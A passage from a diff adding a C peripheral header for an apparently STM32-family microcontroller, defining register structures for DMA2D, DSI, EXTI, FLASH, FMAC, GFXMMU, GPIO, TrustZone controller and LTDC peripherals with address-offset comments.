Address offset: 0x24 */ + __IO uint32_t BGCOLR; /*!< DMA2D Background Color Register, Address offset: 0x28 */ + __IO uint32_t FGCMAR; /*!< DMA2D Foreground CLUT Memory Address Register, Address offset: 0x2C */ + __IO uint32_t BGCMAR; /*!< DMA2D Background CLUT Memory Address Register, Address offset: 0x30 */ + __IO uint32_t OPFCCR; /*!< DMA2D Output PFC Control Register, Address offset: 0x34 */ + __IO uint32_t OCOLR; /*!< DMA2D Output Color Register, Address offset: 0x38 */ + __IO uint32_t OMAR; /*!< DMA2D Output Memory Address Register, Address offset: 0x3C */ + __IO uint32_t OOR; /*!< DMA2D Output Offset Register, Address offset: 0x40 */ + __IO uint32_t NLR; /*!< DMA2D Number of Line Register, Address offset: 0x44 */ + __IO uint32_t LWR; /*!< DMA2D Line Watermark Register, Address offset: 0x48 */ + __IO uint32_t AMTCR; /*!< DMA2D AHB Master Timer Configuration Register, Address offset: 0x4C */ + uint32_t RESERVED[236]; /*!< Reserved, 0x50-0x3FC */ + __IO uint32_t FGCLUT[256]; /*!< DMA2D Foreground CLUT, Address offset:400-7FC */ + __IO uint32_t BGCLUT[256]; /*!< DMA2D Background CLUT, Address offset:800-BFC */ +} DMA2D_TypeDef; + +/** + * @brief DSI Controller + */ +typedef struct +{ + __IO uint32_t VR; /*!< DSI Host Version Register, Address offset: 0x00 */ + __IO uint32_t CR; /*!< DSI Host Control Register, Address offset: 0x04 */ + __IO uint32_t CCR; /*!< DSI HOST Clock Control Register, Address offset: 0x08 */ + __IO uint32_t LVCIDR; /*!< DSI Host LTDC VCID Register, Address offset: 0x0C */ + __IO uint32_t LCOLCR; /*!< DSI Host LTDC Color Coding Register, Address offset: 0x10 */ + __IO uint32_t LPCR; /*!< DSI Host LTDC Polarity Configuration Register, Address offset: 0x14 */ + __IO uint32_t LPMCR; /*!< DSI Host Low-Power Mode Configuration Register, Address offset: 0x18 */ + uint32_t RESERVED0[4]; /*!< Reserved, 0x1C - 0x2B */ + __IO uint32_t PCR; /*!< DSI Host Protocol Configuration Register, Address offset: 0x2C */ + __IO uint32_t GVCIDR; /*!< DSI Host Generic VCID Register, Address offset: 0x30 */ + __IO uint32_t MCR; /*!< DSI Host Mode Configuration Register, Address offset: 0x34 */ + __IO uint32_t VMCR; /*!< DSI Host Video Mode Configuration Register, Address offset: 0x38 */ + __IO uint32_t VPCR; /*!< DSI Host Video Packet Configuration Register, Address offset: 0x3C */ + __IO uint32_t VCCR; /*!< DSI Host Video Chunks Configuration Register, Address offset: 0x40 */ + __IO uint32_t VNPCR; /*!< DSI Host Video Null Packet Configuration Register, Address offset: 0x44 */ + __IO uint32_t VHSACR; /*!< DSI Host Video HSA Configuration Register, Address offset: 0x48 */ + __IO uint32_t VHBPCR; /*!< DSI Host Video HBP Configuration Register, Address offset: 0x4C */ + __IO uint32_t VLCR; /*!< DSI Host Video Line Configuration Register, Address offset: 0x50 */ + __IO uint32_t VVSACR; /*!< DSI Host Video VSA Configuration Register, Address offset: 0x54 */ + __IO uint32_t VVBPCR; /*!< DSI Host Video VBP Configuration Register, Address offset: 0x58 */ + __IO uint32_t VVFPCR; /*!< DSI Host Video VFP Configuration Register, Address offset: 0x5C */ + __IO uint32_t VVACR; /*!< DSI Host Video VA Configuration Register, Address offset: 0x60 */ + __IO uint32_t LCCR; /*!< DSI Host LTDC Command Configuration Register, Address offset: 0x64 */ + __IO uint32_t CMCR; /*!< DSI Host Command Mode Configuration Register, Address offset: 0x68 */ + __IO uint32_t GHCR; /*!< DSI Host Generic Header Configuration Register, Address offset: 0x6C */ + __IO uint32_t GPDR; /*!< DSI Host Generic Payload Data Register, Address offset: 0x70 */ + __IO uint32_t GPSR; /*!< DSI Host Generic Packet Status Register, Address offset: 0x74 */ + __IO uint32_t TCCR[6]; /*!< DSI Host Timeout Counter Configuration Register, Address offset: 0x78-0x8F */ + uint32_t RESERVED1; /*!< Reserved, 0x90 */ + __IO uint32_t CLCR; /*!< DSI Host Clock Lane Configuration Register, Address offset: 0x94 */ + __IO uint32_t CLTCR; /*!< DSI Host Clock Lane Timer Configuration Register, Address offset: 0x98 */ + __IO uint32_t DLTCR; /*!< DSI Host Data Lane Timer Configuration Register, Address offset: 0x9C */ + __IO uint32_t PCTLR; /*!< DSI Host PHY Control Register, Address offset: 0xA0 */ + __IO uint32_t PCONFR; /*!< DSI Host PHY Configuration Register, Address offset: 0xA4 */ + __IO uint32_t PUCR; /*!< DSI Host PHY ULPS Control Register, Address offset: 0xA8 */ + __IO uint32_t PTTCR; /*!< DSI Host PHY TX Triggers Configuration Register, Address offset: 0xAC */ + __IO uint32_t PSR; /*!< DSI Host PHY Status Register, Address offset: 0xB0 */ + uint32_t RESERVED2[2]; /*!< Reserved, 0xB4 - 0xBB */ + __IO uint32_t ISR[2]; /*!< DSI Host Interrupt & Status Register, Address offset: 0xBC-0xC3 */ + __IO uint32_t IER[2]; /*!< DSI Host Interrupt Enable Register, Address offset: 0xC4-0xCB */ + uint32_t RESERVED3[3]; /*!< Reserved, 0xD0 - 0xD7 */ + __IO uint32_t FIR[2]; /*!< DSI Host Force Interrupt Register, Address offset: 0xD8-0xDF */ + uint32_t RESERVED4[5]; /*!< Reserved, 0xE0 - 0xF3 */ + __IO uint32_t DLTRCR; /*!< DSI Host Data Lane Timer Read Configuration Register, Address offset: 0xF4 */ + uint32_t RESERVED5[2]; /*!< Reserved, 0xF8 - 0xFF */ + __IO uint32_t VSCR; /*!< DSI Host Video Shadow Control Register, Address offset: 0x100 */ + uint32_t RESERVED6[2]; /*!< Reserved, 0x104 - 0x10B */ + __IO uint32_t LCVCIDR; /*!< DSI Host LTDC Current VCID Register, Address offset: 0x10C */ + __IO uint32_t LCCCR; /*!< DSI Host LTDC Current Color Coding Register, Address offset: 0x110 */ + uint32_t RESERVED7; /*!< Reserved, 0x114 */ + __IO uint32_t LPMCCR; /*!< DSI Host Low-power Mode Current Configuration Register, Address offset: 0x118 */ + uint32_t RESERVED8[7]; /*!< Reserved, 0x11C - 0x137 */ + __IO uint32_t VMCCR; /*!< DSI Host Video Mode Current Configuration Register, Address offset: 0x138 */ + __IO uint32_t VPCCR; /*!< DSI Host Video Packet Current Configuration Register, Address offset: 0x13C */ + __IO uint32_t VCCCR; /*!< DSI Host Video Chunks Current Configuration Register, Address offset: 0x140 */ + __IO uint32_t VNPCCR; /*!< DSI Host Video Null Packet Current Configuration Register, Address offset: 0x144 */ + __IO uint32_t VHSACCR; /*!< DSI Host Video HSA Current Configuration Register, Address offset: 0x148 */ + __IO uint32_t VHBPCCR; /*!< DSI Host Video HBP Current Configuration Register, Address offset: 0x14C */ + __IO uint32_t VLCCR; /*!< DSI Host Video Line Current Configuration Register, Address offset: 0x150 */ + __IO uint32_t VVSACCR; /*!< DSI Host Video VSA Current Configuration Register, Address offset: 0x154 */ + __IO uint32_t VVBPCCR; /*!< DSI Host Video VBP Current Configuration Register, Address offset: 0x158 */ + __IO uint32_t VVFPCCR; /*!< DSI Host Video VFP Current Configuration Register, Address offset: 0x15C */ + __IO uint32_t VVACCR; /*!< DSI Host Video VA Current Configuration Register, Address offset: 0x160 */ + uint32_t RESERVED9; /*!< Reserved, 0x164 */ + __IO uint32_t FBSR; /*!< DSI Host FIFO and Buffer Status Register, Address offset: 0x168 */ + uint32_t RESERVED10[165];/*!< Reserved, 0x16C - 0x3FF */ + __IO uint32_t WCFGR; /*!< DSI Wrapper Configuration Register, Address offset: 0x400 */ + __IO uint32_t WCR; /*!< DSI Wrapper Control Register, Address offset: 0x404 */ + __IO uint32_t WIER; /*!< DSI Wrapper Interrupt Enable Register, Address offset: 0x408 */ + __IO uint32_t WISR; /*!< DSI Wrapper Interrupt and Status Register, Address offset: 0x40C */ + __IO uint32_t WIFCR; /*!< DSI Wrapper Interrupt Flag Clear Register, Address offset: 0x410 */ + uint32_t RESERVED11; /*!< Reserved, 0x414 */ + __IO uint32_t WPCR[1]; /*!< DSI Wrapper PHY Configuration Register 0, Address offset: 0x418 */ + uint32_t RESERVED12[5]; /*!< Reserved, 0x41C - 0x42F */ + __IO uint32_t WRPCR; /*!< DSI Wrapper Regulator and PLL Control Register, Address offset: 0x430 */ + uint32_t WPTR; /*!< DSI Wrapper PLL tuning register, Address offset: 0x434 */ + uint32_t RESERVED13[244];/*!< Reserved, 0x43C - 0x804 */ + __IO uint32_t BCFGR; /*!< DSI Bias Configuration Register, Address offset: 0x808 */ + uint32_t RESERVED14[254];/*!< Reserved, 0x80C - 0xC00 */ + __IO uint32_t DPCBCR; /*!< D-PHY clock band control register, Address offset: 0xC04 */ + uint32_t RESERVED15[11]; /*!< Reserved, 0xC08 - 0xC30 */ + __IO uint32_t DPCSRCR; /*!< D-PHY clock slew rate control register, Address offset: 0xC34 */ + uint32_t RESERVED16[9]; /*!< Reserved, 0xC38 - 0xC58 */ + __IO uint32_t DPDL0HSOCR; /*!< D-PHY data Lane 0 HS offset control register, Address offset: 0x0C5C */ + __IO uint32_t DPDL0LPXOCR; /*!< D-PHY data Lane 0 HS LPX offset control register, Address offset: 0x0C60 */ + uint32_t RESERVED17[3]; /*!< Reserved, 0xC64-0xC6C */ + __IO uint32_t DPDL0BCR; /*!< D-PHY data Lane0 band control register, Address offset: 0x0C70 */ + uint32_t RESERVED18[11]; /*!< Reserved, 0xC74 - 0xC9C */ + __IO uint32_t DPDL0SRCR; /*!< D-PHY data Lane0 slew rate control register, Address offset: 0x0CA0 */ + uint32_t RESERVED19[20]; /*!< Reserved, 0xCA4 - 0xD04 */ + __IO uint32_t DPDL1HSOCR; /*!< D-PHY data Lane 1 HS offset control register, Address offset: 0x0CF4 */ + __IO uint32_t DPDL1LPXOCR; /*!< D-PHY data Lane 1 HS LPX offset control register, Address offset: 0x0CF8 */ + uint32_t RESERVED20[3]; /*!< Reserved, 0xCF8 - 0xD04 */ + __IO uint32_t DPDL1BCR; /*!< D-PHY data Lane1 band control register, Address offset: 0x0D08 */ + uint32_t RESERVED21[11]; /*!< Reserved, 0xD0C - 0xD34 */ + __IO uint32_t DPDL1SRCR; /*!< D-PHY data Lane1 slew rate control register, Address Offset: 0x0D38 */ +} DSI_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0x84 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0x88 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0x8C */ + __IO uint32_t SECBB1R5; /*!< FLASH secure block-based bank 1 register 5, Address offset: 0x90 */ + __IO uint32_t SECBB1R6; /*!< FLASH secure block-based bank 1 register 6, Address offset: 0x94 */ + __IO uint32_t SECBB1R7; /*!< FLASH secure block-based bank 1 register 7, Address offset: 0x98 */ + __IO uint32_t SECBB1R8; /*!< FLASH secure block-based bank 1 register 8, Address offset: 0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0xAC */ + __IO uint32_t SECBB2R5; /*!< FLASH secure block-based bank 2 register 5, Address offset: 0xB0 */ + __IO uint32_t SECBB2R6; /*!< FLASH secure block-based bank 2 register 6, Address offset: 0xB4 */ + __IO uint32_t SECBB2R7; /*!< FLASH secure block-based bank 2 register 7, Address offset: 0xB8 */ + __IO uint32_t SECBB2R8; /*!< FLASH secure block-based bank 2 register 8, Address offset: 0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xD4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xD8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xDC */ + __IO uint32_t PRIVBB1R5; /*!< FLASH privilege block-based bank 1 register 5, Address offset: 0xE0 */ + __IO uint32_t PRIVBB1R6; /*!< FLASH privilege block-based bank 1 register 6, Address offset: 0xE4 */ + __IO uint32_t PRIVBB1R7; /*!< FLASH privilege block-based bank 1 register 7, Address offset: 0xE8 */ + __IO uint32_t PRIVBB1R8; /*!< FLASH privilege block-based bank 1 register 8, Address offset: 0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0xF4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0xF8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0xFC */ + __IO uint32_t PRIVBB2R5; /*!< FLASH privilege block-based bank 2 register 5, Address offset: 0x100 */ + __IO uint32_t PRIVBB2R6; /*!< FLASH privilege block-based bank 2 register 6, Address offset: 0x104 */ + __IO uint32_t PRIVBB2R7; /*!< FLASH privilege block-based bank 2 register 7, Address offset: 0x108 */ + __IO uint32_t PRIVBB2R8; /*!< FLASH privilege block-based bank 2 register 8, Address offset: 0x10C */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief GFXMMU registers + */ +typedef struct +{ + __IO uint32_t CR; /*!< GFXMMU configuration register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< GFXMMU status register, Address offset: 0x04 */ + __IO uint32_t FCR; /*!< GFXMMU flag clear register, Address offset: 0x08 */ + __IO uint32_t CCR; /*!< GFXMMU Cache Control Register, Address offset: 0x0C */ + __IO uint32_t DVR; /*!< GFXMMU default value register, Address offset: 0x10 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x14 to 0x1C */ + __IO uint32_t B0CR; /*!< GFXMMU buffer 0 configuration register, Address offset: 0x20 */ + __IO uint32_t B1CR; /*!< GFXMMU buffer 1 configuration register, Address offset: 0x24 */ + __IO uint32_t B2CR; /*!< GFXMMU buffer 2 configuration register, Address offset: 0x28 */ + __IO uint32_t B3CR; /*!< GFXMMU buffer 3 configuration register, Address offset: 0x2C */ + uint32_t RESERVED2[1008]; /*!< Reserved2, Address offset: 0x30 to 0xFEC */ + __IO uint32_t HWCFGR; /*!< GFXMMU hardware configuration register, Address offset: 0xFF0 */ + __IO uint32_t VERR; /*!< GFXMMU version register, Address offset: 0xFF4 */ + __IO uint32_t IPIDR; /*!< GFXMMU identification register, Address offset: 0xFF8 */ + __IO uint32_t SIDR; /*!< GFXMMU size identification register, Address offset: 0xFFC */ + __IO uint32_t LUT[2048]; /*!< GFXMMU LUT registers, Address offset: 0x1000 to 0x2FFC + For LUT line i, LUTiL = LUT[2*i] and LUTiH = LUT[(2*i)+1] */ +} GFXMMU_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ + __IO uint32_t MPCWM6ACFGR; /*!< TZSC memory 6 sub-region A watermark configuration register, Address offset: 0x90 */ + __IO uint32_t MPCWM6AR; /*!< TZSC memory 6 sub-region A watermark register, Address offset: 0x94 */ + __IO uint32_t MPCWM6BCFGR; /*!< TZSC memory 6 sub-region B watermark configuration register, Address offset: 0x98 */ + __IO uint32_t MPCWM6BR; /*!< TZSC memory 6 sub-region B watermark register, Address offset: 0x9C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register 1, Address offset: 0x10 */ + __IO uint32_t CFGLOCKR2; /*!< MPCBBx Configuration lock register 2, Address offset: 0x14 */ + uint32_t RESERVED2[58]; /*!< Reserved2, Address offset: 0x18-0xFC */ + __IO uint32_t SECCFGR[52]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x1CC */ + uint32_t RESERVED3[12]; /*!< Reserved3, Address offset: 0x1D0-0x1FC */ + __IO uint32_t PRIVCFGR[52]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x2CC */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief LCD-TFT Display Controller + */ +typedef struct +{ + uint32_t RESERVED0[2]; /*!< Reserved, 0x00-0x04 */ + __IO uint32_t SSCR; /*!< LTDC Synchronization Size Configuration Register, Address offset: 0x08 */ + __IO uint32_t BPCR; /*!< LTDC Back Porch Configuration Register, Address offset: 0x0C */ + __IO uint32_t AWCR; /*!< LTDC Active Width Configuration Register, Address offset: 0x10 */ + __IO uint32_t TWCR; /*!< LTDC Total Width Configuration Register, Address offset: 0x14 */ + __IO uint32_t GCR; /*!< LTDC Global Control Register, Address offset: 0x18 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x1C-0x20 */ + __IO uint32_t SRCR; /*!< LTDC Shadow Reload Configuration Register, Address offset: 0x24 */ + uint32_t RESERVED2[1]; /*!< Reserved, 0x28 */ + __IO uint32_t BCCR; /*!< LTDC Background Color Configuration Register, Address offset: 0x2C */ + uint32_t RESERVED3[1]; /*!< Reserved, 0x30 */ + __IO uint32_t IER; /*!< LTDC Interrupt Enable Register, Address offset: 0x34 */ + __IO uint32_t ISR; /*!< LTDC Interrupt Status Register, Address offset: 0x38 */ + __IO uint32_t ICR; /*!< LTDC Interrupt Clear Register, Address offset: 0x3C */ + __IO uint32_t LIPCR; /*!< LTDC Line Interrupt Position Configuration Register, Address offset: 0x40 */ + __IO uint32_t CPSR; /*!< LTDC Current Position Status Register, Address offset: 0x44 */ + __IO uint32_t CDSR; /*!< LTDC Current Display Status Register, Address offset: 0x48 */ +} LTDC_TypeDef; + +/** + * @brief LCD-TFT Display layer x Controller + */ + +typedef struct +{ + __IO uint32_t CR; /*!< LTDC Layerx Control Register Address offset: 0x84 */ + __IO uint32_t WHPCR; /*!< LTDC Layerx Window Horizontal Position Configuration Register Address offset: 0x88 */ + __IO uint32_t WVPCR; /*!< LTDC Layerx Window Vertical Position Configuration Register Address offset: 0x8C */ + __IO uint32_t CKCR; /*!< LTDC Layerx Color Keying Configuration Register Address offset: 0x90 */ + __IO uint32_t PFCR; /*!< LTDC Layerx Pixel Format Configuration Register Address offset: 0x94 */ + __IO uint32_t CACR; /*!< LTDC Layerx Constant Alpha Configuration Register Address offset: 0x98 */ + __IO uint32_t DCCR; /*!< LTDC Layerx Default Color Configuration Register Address offset: 0x9C */ + __IO uint32_t BFCR; /*!< LTDC Layerx Blending Factors Configuration Register Address offset: 0xA0 */ + uint32_t RESERVED0[2]; /*!< Reserved */ + __IO uint32_t CFBAR; /*!< LTDC Layerx Color Frame Buffer Address Register Address offset: 0xAC */ + __IO uint32_t CFBLR; /*!< LTDC Layerx Color Frame Buffer Length Register Address offset: 0xB0 */ + __IO uint32_t CFBLNR; /*!< LTDC Layerx ColorFrame Buffer Line Number Register Address offset: 0xB4 */ + uint32_t RESERVED1[3]; /*!< Reserved */ + __IO uint32_t CLUTWR; /*!< LTDC Layerx CLUT Write Register Address offset: 0x144 */ + +} LTDC_Layer_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO 